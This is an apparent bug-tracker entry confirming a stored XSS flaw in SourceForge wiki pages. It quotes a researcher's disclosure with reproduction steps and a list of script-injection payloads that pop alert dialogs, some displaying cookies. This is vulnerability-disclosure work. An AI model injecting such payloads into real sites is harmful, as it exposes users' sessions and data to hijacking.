Confirmed and reproduced here: https://sourceforge.net/p/strawhat/private-wiki/Swapnil_XSS/
This also affects live wiki pages, not just the previews
Original message from user, Swapnil Thaware:
My name is Swapnil A. Thaware and I am a Security Researcher from India. I have found security vulnerability in sourceforge.net. Here I am giving the details of the vulnerability found in sourceforge.net.
Vulnerability : Stored XSS
Vulnerability Description : Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.
Step to Reproduce :
1) Login to Account
2) Goto wiki Section then Click on Create Page
3) Write a name
4) and then put XSS Payload in Content box then click on Preview button.
5) Boooommmm !! we get the popup
XSS Payload :
<body onLoad=confirm(0)> "><svg/onload=alert(document.cookie)> ">"<img src=x onerror=prompt(document.domain)>"> "><ScRiPt>alert("Hami Hax")<%2FScRiPt> "><img src=x onerror=prompt('Xss');> “><img src=x onerror=alert(document.cookie)> ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
POC : I added a screenshot in attachment, please kindly check the attachment.
Kindly let me know when the vulnerability is fixed and I am eligible for any acknowledgement or any reward.